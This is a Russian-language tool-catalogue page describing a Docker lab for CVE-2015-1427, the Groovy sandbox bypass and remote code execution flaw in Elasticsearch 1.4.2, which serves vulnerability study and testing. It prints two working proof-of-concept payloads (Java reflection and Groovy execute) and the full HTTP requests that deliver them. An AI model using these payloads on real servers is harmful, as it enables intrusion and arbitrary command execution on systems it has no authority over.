Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — Лабораторная среда на основе Docker для обхода песочницы ElasticSearch Groovy (CVE-2015-1427) и удаленного выполнения кода, демонстрирующая два метода POC с использованием Java reflection и выполнения команд Groovy. | Kitploit
Инструменты/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и Образование
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Лабораторная среда на основе Docker для обхода песочницы ElasticSearch Groovy (CVE-2015-1427) и удаленного выполнения кода, демонстрирующая два метода POC с использованием Java reflection и выполнения команд Groovy.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
6 лет назадЕщё не проверено

Уязвимость обхода песочницы Groovy и выполнения кода в ElasticSearch (CVE-2015-1427) - тестовая среда

Версия JRE: openjdk:8-jre

Версия Elasticsearch: v1.4.2

Принцип

Справочные статьи:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

После CVE-2014-3120 в ElasticSearch язык динамических скриптов по умолчанию был заменен на Groovy, и была добавлена песочница, но по умолчанию все еще поддерживается прямое выполнение динамических языков. Эта уязвимость: 1. обход песочницы; 2. уязвимость выполнения кода Goovy.

"Песочница" языка Groovy

ElasticSearch поддерживает использование языка Groovy "в песочнице" в качестве динамического скрипта, но, очевидно, официальная работа не была выполнена хорошо. lupin и tang3 предложили два метода выполнения команд:

  1. Поскольку для выполнения Java-кода есть песочница, метод lupin состоит в том, чтобы обойти песочницу, например, с помощью Java-рефлексии.
  2. Groovy изначально является языком, поэтому tang3 пошел другим путем: используя методы, поддерживаемые языком Groovy, непосредственно выполнять команды без использования Java.

Итак, исходя из этих двух идей эксплуатации уязвимости, мы можем получить два разных POC.

Метод обхода песочницы Java:

root@kitploit:~
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Метод прямого выполнения команд Goovy:

root@kitploit:~
def command='id';def res=command.execute().text;res

Тестирование уязвимости

Сборка и запуск тестовой среды

root@kitploit:~
docker-compose build
docker-compose up -d

Поскольку при запросе требуется хотя бы одна запись в ES, отправьте следующий пакет данных для добавления записи:

root@kitploit:~
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

Затем отправьте пакет данных, содержащий полезную нагрузку, для выполнения произвольной команды:

root@kitploit:~
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

Скачать инструмент